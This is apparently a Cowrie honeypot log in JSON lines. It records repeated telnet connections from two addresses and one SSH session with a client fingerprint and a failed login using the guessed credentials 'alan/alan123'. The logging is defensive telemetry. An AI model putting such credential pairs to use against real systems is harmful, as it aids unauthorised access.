{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37602,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a2198a8bd78","protocol":"telnet","message":"New connection: 69.6.225.50:37602 (159.203.135.109:23) [session: 5a2198a8bd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:19.514301Z"}
{"eventid":"cowrie.session.closed","duration":31.32828640937805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:19.670599Z","src_ip":"69.6.225.50","session":"49ab8ed6f8f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":32768,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7553fff47ba","protocol":"telnet","message":"New connection: 144.79.218.12:32768 (10.17.0.5:23) [session: c7553fff47ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:19.913113Z"}
{"eventid":"cowrie.session.closed","duration":36.976004123687744,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.033374Z","src_ip":"144.79.218.12","session":"c475db856eae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06546902656555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.087899Z","src_ip":"69.6.225.50","session":"777382e3a3ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.407718896865845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.106273Z","src_ip":"69.6.225.50","session":"225c9f478264","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37608,"dst_ip":"159.203.135.109","dst_port":23,"session":"85dfb08b65b5","protocol":"telnet","message":"New connection: 69.6.225.50:37608 (159.203.135.109:23) [session: 85dfb08b65b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.125719Z"}
{"eventid":"cowrie.session.closed","duration":30.390540838241577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.131207Z","src_ip":"69.6.225.50","session":"32b24ea898fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37624,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f7536da8b0b","protocol":"telnet","message":"New connection: 69.6.225.50:37624 (159.203.135.109:23) [session: 5f7536da8b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.165363Z"}
{"eventid":"cowrie.session.closed","duration":30.73502802848816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.191301Z","src_ip":"69.6.225.50","session":"81305c9aba67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864991903305054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.216693Z","src_ip":"69.6.225.50","session":"6262275803f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.23756790161133,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.268787Z","src_ip":"144.79.218.12","session":"8cac7bad30c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912822246551514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.809339Z","src_ip":"69.6.225.50","session":"ac1410282867","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37720,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8494318dfc3","protocol":"telnet","message":"New connection: 69.6.225.50:37720 (159.203.135.109:23) [session: c8494318dfc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.846000Z"}
{"eventid":"cowrie.session.closed","duration":31.524219512939453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:20.918227Z","src_ip":"69.6.225.50","session":"94ffa6360190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0026421546936,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:21.032757Z","src_ip":"69.6.225.50","session":"f97aba9689df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37770,"dst_ip":"159.203.135.109","dst_port":23,"session":"7884cb10becc","protocol":"telnet","message":"New connection: 69.6.225.50:37770 (159.203.135.109:23) [session: 7884cb10becc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:21.121755Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37778,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd99310b779b","protocol":"telnet","message":"New connection: 69.6.225.50:37778 (159.203.135.109:23) [session: bd99310b779b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:21.150042Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37780,"dst_ip":"159.203.135.109","dst_port":23,"session":"2481d24b1382","protocol":"telnet","message":"New connection: 69.6.225.50:37780 (159.203.135.109:23) [session: 2481d24b1382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:21.252602Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37816,"dst_ip":"159.203.135.109","dst_port":23,"session":"036da8b0f025","protocol":"telnet","message":"New connection: 69.6.225.50:37816 (159.203.135.109:23) [session: 036da8b0f025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:21.514547Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37848,"dst_ip":"159.203.135.109","dst_port":23,"session":"338a60c124c3","protocol":"telnet","message":"New connection: 69.6.225.50:37848 (159.203.135.109:23) [session: 338a60c124c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:21.619021Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37862,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a7586e06c47","protocol":"telnet","message":"New connection: 69.6.225.50:37862 (159.203.135.109:23) [session: 7a7586e06c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:21.730509Z"}
{"eventid":"cowrie.session.closed","duration":33.103585720062256,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:21.788208Z","src_ip":"144.79.218.12","session":"3c43876620c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37872,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a26246d2bca","protocol":"telnet","message":"New connection: 69.6.225.50:37872 (159.203.135.109:23) [session: 1a26246d2bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:21.822234Z"}
{"eventid":"cowrie.session.closed","duration":30.679319143295288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.045301Z","src_ip":"69.6.225.50","session":"33cc7816e9b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36132001876831,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.056704Z","src_ip":"69.6.225.50","session":"d98e946f373b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888360500335693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.099734Z","src_ip":"69.6.225.50","session":"935be6a3e64b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37900,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8a58ce559b9","protocol":"telnet","message":"New connection: 69.6.225.50:37900 (159.203.135.109:23) [session: f8a58ce559b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.109732Z"}
{"eventid":"cowrie.session.closed","duration":30.40420889854431,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.160742Z","src_ip":"69.6.225.50","session":"75a18e1c4cdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.83607769012451,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.213866Z","src_ip":"144.79.218.12","session":"1483c304be52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37916,"dst_ip":"159.203.135.109","dst_port":23,"session":"5019a5cd2cc6","protocol":"telnet","message":"New connection: 69.6.225.50:37916 (159.203.135.109:23) [session: 5019a5cd2cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.236173Z"}
{"eventid":"cowrie.session.closed","duration":30.674816131591797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.245992Z","src_ip":"69.6.225.50","session":"880deec58d1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37942,"dst_ip":"159.203.135.109","dst_port":23,"session":"00b258304272","protocol":"telnet","message":"New connection: 69.6.225.50:37942 (159.203.135.109:23) [session: 00b258304272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.426056Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37954,"dst_ip":"159.203.135.109","dst_port":23,"session":"88b81586c21b","protocol":"telnet","message":"New connection: 69.6.225.50:37954 (159.203.135.109:23) [session: 88b81586c21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.536276Z"}
{"eventid":"cowrie.session.closed","duration":34.43585205078125,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:22.543377Z","src_ip":"144.79.218.12","session":"b9521dc64462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885433673858643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.048675Z","src_ip":"69.6.225.50","session":"1fa8f8f3a68f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23541808128357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.053566Z","src_ip":"69.6.225.50","session":"e1d0b304e850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660594701766968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.056365Z","src_ip":"69.6.225.50","session":"f39adaad3677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52594304084778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.061197Z","src_ip":"69.6.225.50","session":"6408cc462b7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.379228115081787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.069017Z","src_ip":"69.6.225.50","session":"99545b92c596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02734398841858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.079853Z","src_ip":"69.6.225.50","session":"1650430cd61d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.301972150802612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.193313Z","src_ip":"69.6.225.50","session":"b2da7f670667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939440727233887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.269738Z","src_ip":"69.6.225.50","session":"e926d2960656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37962,"dst_ip":"159.203.135.109","dst_port":23,"session":"29c8634e1d8c","protocol":"telnet","message":"New connection: 69.6.225.50:37962 (159.203.135.109:23) [session: 29c8634e1d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.344233Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38002,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c7c51051648","protocol":"telnet","message":"New connection: 69.6.225.50:38002 (159.203.135.109:23) [session: 1c7c51051648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.670951Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38014,"dst_ip":"159.203.135.109","dst_port":23,"session":"579e5ac9eb97","protocol":"telnet","message":"New connection: 69.6.225.50:38014 (159.203.135.109:23) [session: 579e5ac9eb97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:23.857938Z"}
{"eventid":"cowrie.session.closed","duration":30.282631635665894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:24.056613Z","src_ip":"69.6.225.50","session":"8b0e6db76c55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.435670137405396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:24.087894Z","src_ip":"69.6.225.50","session":"b95a34f631cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62908673286438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:24.219552Z","src_ip":"69.6.225.50","session":"f52f47130bd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38020,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b8aecfba71a","protocol":"telnet","message":"New connection: 69.6.225.50:38020 (159.203.135.109:23) [session: 1b8aecfba71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:24.392022Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38032,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ca8d540c5b","protocol":"telnet","message":"New connection: 69.6.225.50:38032 (159.203.135.109:23) [session: 55ca8d540c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:24.553210Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38048,"dst_ip":"159.203.135.109","dst_port":23,"session":"78c44b52eaa6","protocol":"telnet","message":"New connection: 69.6.225.50:38048 (159.203.135.109:23) [session: 78c44b52eaa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:24.850726Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38050,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b5642990ba3","protocol":"telnet","message":"New connection: 69.6.225.50:38050 (159.203.135.109:23) [session: 0b5642990ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:24.954850Z"}
{"eventid":"cowrie.session.closed","duration":30.94072985649109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.045779Z","src_ip":"69.6.225.50","session":"e1d7f76f165f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.334418058395386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.064719Z","src_ip":"69.6.225.50","session":"982f7470e855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.177090883255005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.069754Z","src_ip":"69.6.225.50","session":"f297339f0df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38060,"dst_ip":"159.203.135.109","dst_port":23,"session":"42978111f464","protocol":"telnet","message":"New connection: 69.6.225.50:38060 (159.203.135.109:23) [session: 42978111f464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.076441Z"}
{"eventid":"cowrie.session.closed","duration":30.237489700317383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.079928Z","src_ip":"69.6.225.50","session":"da98d887f9c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38076,"dst_ip":"159.203.135.109","dst_port":23,"session":"29339128a239","protocol":"telnet","message":"New connection: 69.6.225.50:38076 (159.203.135.109:23) [session: 29339128a239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.184714Z"}
{"eventid":"cowrie.session.closed","duration":30.637511730194092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.225259Z","src_ip":"69.6.225.50","session":"58dd9bcf8eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60696,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fecbc3b12db","protocol":"ssh","message":"New connection: 159.203.92.129:60696 (159.203.135.109:22) [session: 1fecbc3b12db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.303962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.310983Z","src_ip":"159.203.92.129","session":"1fecbc3b12db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.317143Z","src_ip":"159.203.92.129","session":"1fecbc3b12db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alan","password":"alan123","message":"login attempt [alan/alan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:25.329026Z","src_ip":"159.203.92.129","session":"1fecbc3b12db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.7976291179657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:26.099593Z","src_ip":"69.6.225.50","session":"6b961ad60ce1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124375343322754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:26.113288Z","src_ip":"69.6.225.50","session":"1115fb1cac54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38078,"dst_ip":"159.203.135.109","dst_port":23,"session":"da01208e2255","protocol":"telnet","message":"New connection: 69.6.225.50:38078 (159.203.135.109:23) [session: da01208e2255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:26.170421Z"}
{"eventid":"cowrie.session.closed","duration":30.80538272857666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:26.277794Z","src_ip":"69.6.225.50","session":"49f7c29bfe2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80471634864807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:26.282948Z","src_ip":"69.6.225.50","session":"e36c00a29dd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:26.335007Z","src_ip":"159.203.92.129","session":"1fecbc3b12db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38094,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9b545a9cd15","protocol":"telnet","message":"New connection: 69.6.225.50:38094 (159.203.135.109:23) [session: d9b545a9cd15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:26.453098Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38106,"dst_ip":"159.203.135.109","dst_port":23,"session":"829d0bd88942","protocol":"telnet","message":"New connection: 69.6.225.50:38106 (159.203.135.109:23) [session: 829d0bd88942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:26.534100Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38120,"dst_ip":"159.203.135.109","dst_port":23,"session":"362887be8da3","protocol":"telnet","message":"New connection: 69.6.225.50:38120 (159.203.135.109:23) [session: 362887be8da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:26.866472Z"}
{"eventid":"cowrie.session.closed","duration":30.979048252105713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:27.069247Z","src_ip":"69.6.225.50","session":"102b7459cb66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.581032037734985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:27.083039Z","src_ip":"69.6.225.50","session":"bb4a0f02b043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38122,"dst_ip":"159.203.135.109","dst_port":23,"session":"68d599129c5a","protocol":"telnet","message":"New connection: 69.6.225.50:38122 (159.203.135.109:23) [session: 68d599129c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:27.105431Z"}
{"eventid":"cowrie.session.closed","duration":30.403838396072388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:27.117793Z","src_ip":"69.6.225.50","session":"0dc16ed2f293","protocol":"telnet"}
